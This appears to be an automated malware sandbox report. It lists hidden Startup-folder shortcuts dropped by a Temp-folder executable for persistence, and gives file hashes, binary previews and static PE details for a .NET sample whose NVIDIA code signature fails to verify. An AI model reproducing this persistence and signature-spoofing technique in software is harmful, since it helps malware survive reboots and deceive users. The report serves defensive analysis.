Preview:	L..................F...."...]W%.{...Jf..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...C...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdc67670ff6a4b218ed0a69524016ef0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942870963018484
Encrypted:	false
SSDEEP:	24:8+hBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ua0R6rMhpBoUBxdRd1nYyg
MD5:	A0D1D9CDD982140C772CAF108B8ECB04
SHA1:	FEFB5A9CED44E12020D8D3AE8B1DB9518CB03852
SHA-256:	B6469B66B9D93B9517BC3003B94809FC225352204321546B749C1D5BA85E7853
SHA-512:	7736D5002EAB87E22E2885F71FB7F966418BE797C3C7A92824C056F3F9B5421F10396C8D9F856177E880E3129E1430600D66F91217741ACD792175EFD54F8870
Malicious:	false
Preview:	L..................F...."...]W%.{....B..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdce15cf8ed748709b8797c4e2d8e03f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:40 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933252563839297
Encrypted:	false
SSDEEP:	24:8SXhBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8SLV0R6rMhpBoUBxdRd1nYyg
MD5:	950E173158581AF27BA3E81A2C5B8D8F
SHA1:	D009F119585A727DB4A32A2953A4203B9875CF6B
SHA-256:	79D69E72AF015C1938DA669E0EB39A2F3374BC9248A9FC745E01F6C0DF6D2445
SHA-512:	E52124A40605A885EE6492C1E8D19C71BDDE0EC0FA9CE16E3AB899B474594E95E03834619EB3C0E6B1908B77513E53944A8936BDBFC700EB18D338CACDB60347
Malicious:	false
Preview:	L..................F...."...]W%.{....@".\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fdd56662140b430d88d48dcdf5c3bb73.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:19 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937351436581048
Encrypted:	false
SSDEEP:	24:8dhBfsl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dEC0R6rMhpBoUBxdRd1nYyg
MD5:	F197B9D09C5EF79A5317CCF1B2D9D7F8
SHA1:	2BEDEB681D50FCB72A72AC881AD67FAD5A584E08
SHA-256:	ADC76112EE01ECE41DD232B3D79298C7358E9B41789AF13648FDFAAF3971C7F0
SHA-512:	4AE5A3465C5FF1C71834A959710B162CDC56B8EC0157A6D196BF563BA28764EE9834F79F5650284EB87CE3D140E8AC2D686E9A9F9188890C74710A9D373BCD06
Malicious:	false
Preview:	L..................F...."...]W%.{....I..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fe3e22a5cd27431b918c1dfdba8511de.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933577499224086
Encrypted:	false
SSDEEP:	24:8GhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Mi0R6rMhpBoUBxdRd1nYyg
MD5:	BCC50C9C9CE0677685FC335BD8A20701
SHA1:	68A6A1816CCD8B5931412D2ABD04BD7F4C1360B1
SHA-256:	DD4530B811FC5ABE05D18CD826916847B822737BFE2A072805F67EAC6C308955
SHA-512:	CFA2284A1C7E6B61DD136FAE8AD4531402F764D95495959FCDA5BFC10877929E58E03B65A6DB663AC7B7C61A86DD26EC8C5CE73598D1B658E6CC067F94578348
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fea3fd30906f4f4293d9939cd494c87c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938700882680655
Encrypted:	false
SSDEEP:	24:8YhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86s0R6rMhpBoUBxdRd1nYyg
MD5:	CD1CDACED7F2339A1B90640E25016BB5
SHA1:	025F9574A1102E6C610542DD989EDE89BC863D55
SHA-256:	43670643CBD80BAB1B812C26093CEBB464E92D03D925FE93ADC2BAF18C0EB21B
SHA-512:	968E24A29EDAB90636D9F0EC4222FCC1797F1FC845E91163A360E808E891442701D17CE42BEE2B1646CC9E94BAAF01EBD0871191B826EA384B55B2CF21FC35EE
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fec3cee92a4c46719cde09ba7ed190d9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938155643155864
Encrypted:	false
SSDEEP:	24:86hBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8wn0R6rMhpBoUBxdRd1nYyg
MD5:	21C599D70D373AB21910D305C635DF07
SHA1:	712BC90673AD93BAE4CDEAC9EFEF0429BD71944E
SHA-256:	BC474251F750E9C16B3F568CA7A89373BB4D5C37DE0DC0ACF861CB3E6E9CF8A9
SHA-512:	2805CEC1CE26FDAD10953647CF1A8543E4AC30002C22E3C1E3935C8970F18E8F8AE0FDDFBA2A60EDFF4F85D60C8260971072F0A50BA4F1F81C6374105F13CE24
Malicious:	false
Preview:	L..................F...."...]W%.{...0.}.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fed91f7c667545fc9facb56716212d13.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9433180658521865
Encrypted:	false
SSDEEP:	24:8dhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dh0R6rMhpBoUBxdRd1nYyg
MD5:	2D17CA014A4AB8579721C27DF2AE7E9E
SHA1:	6661327FFFD4539E0C77160D997962FE307CAEA5
SHA-256:	D11E9940C8A1E17920572181CB58B91A0900610514906E9CFC777AC742E098A4
SHA-512:	F8404A4E6836DFA8FCF99DAE84ADDDE8ECDDBB1CC6C1C9BFD0EE123711C24008B19016DB7208A3558FB255524927BDCA5CE716AF261D5CF4AA65AA15C255CCDC
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...O1..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fedf3ff26cc84090adf445aafa2b2176.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9388028690466355
Encrypted:	false
SSDEEP:	24:8/phBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xl0R6rMhpBoUBxdRd1nYyg
MD5:	C33D04529F8CAB99C07D4270AC36D9BE
SHA1:	F0FD588706C94017349D1DAD3D94A5420DCE4E12
SHA-256:	46C5240E9434AA4A1108846F35D6F68D388983421A807FEBB1F5513870BD1CFD
SHA-512:	EA861A202E5CE5A2DA3FE668EA34F9250C9FA03A4D6339C468EFA48913CDB6A1A8C67583D3599666D8713063540088A45F7B68ADC58403ACF1B45F3276C75941
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ff735f8e953e4a16b00999999debd483.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932732681051679
Encrypted:	false
SSDEEP:	24:8VhBfI8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8FV0R6rMhpBoUBxdRd1nYyg
MD5:	62B7CF7B210C9029E947C0C0E4B6F0FE
SHA1:	4EEE8591A479062B26BD53A4BE9FC23252A72FAB
SHA-256:	A32E6B9EB1E4CE002C95FD981ABEB205DFA102917DE8F119BD9443A4EF823185
SHA-512:	C554A5CB24E92D76895A1EE21472051048928DF339C83988A056C297242BF8691FADCBC97F54660B65C7BF369E1431B45C7A3224DC2CFCE9BABE3FA586F6FFA1
Malicious:	false
Preview:	L..................F...."...]W%.{.....5.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ffb693950192432088179fe25fd0f531.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94749220750997
Encrypted:	false
SSDEEP:	24:8ihBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ia0R6rMhpBoUBxdRd1nYyg
MD5:	7C85B8C4FF6F1D114766E1CE5575EE92
SHA1:	A924619BF5103E1F54DDA89B9238FBA1CB5D50DA
SHA-256:	2AA0195CFD2E4FC53C64EDD0B6C46AA9B9CA33D8FB1F7FED1D3D1FD80BD3F3BA
SHA-512:	3347C7091E594B049F0324F3A3E26541FD7ABFB96C97EF594C5FD879EB73E3B9504C58325E1803A45CDE2D56CED558E8B1C2527682CD62FFBAA51543542AE25F
Malicious:	false
Preview:	L..................F...."...]W%.{...B...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

\Device\ConDrv

Download File

Process:	C:\ProgramData\EBGDHJECFC.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	33
Entropy (8bit):	2.2845972159140855
Encrypted:	false
SSDEEP:	3:i6vvRyMivvRya:iKvHivD
MD5:	45B4C82B8041BF0F9CCED0D6A18D151A
SHA1:	B4DAD3FFFEF507CBB78671EE620BB495F8CE22F1
SHA-256:	7CFA461ED1FC8611AB74878EDB1FBBDE3596F5D042946A42A7F31EB6D462E628
SHA-512:	B29C3696A8A311EFAF9B9709BA082FF2C8D45A6912D79BC1DE7FEEFBEF8F8DDEFCD6650B5E1165D0A79800C8AED399E2B11BC2431E3837DD8587516BDE50EAB5
Malicious:	false
Preview:	0..1..2..3..4..0..1..2..3..4.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.989695899083701
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	413'224 bytes
MD5:	8b0b12811b60a92a72b636a46fadb0ba
SHA1:	0ab6b31b69b7964de2e9639169d036c68f9efd76
SHA256:	1174cade1bd7b389c084b340898d4afd84e1145d9294d8a550f3a532f09cda7c
SHA512:	abf908cb7505acd792aa1d9a346ec1b635f5c078ad2104b5d5a0678cc54e216a843fbacba25ebff6a7baed6a6463ee8fc433ff1c71178775366b7f4aade1227a
SSDEEP:	12288:dHROWCWIpXQ6dvhXe+iGaXImXN18/7LV+z+0EO:ludvbwX4/7LV/0t
TLSH:	4D9423FA9B688535FC8F423126FBB34EDA375E97269791CF50418A0A3E2D35030295B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k#.f.............................<... ...@....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x463cee
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F4236B [Wed Sep 25 14:51:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x63c94	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0x5b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
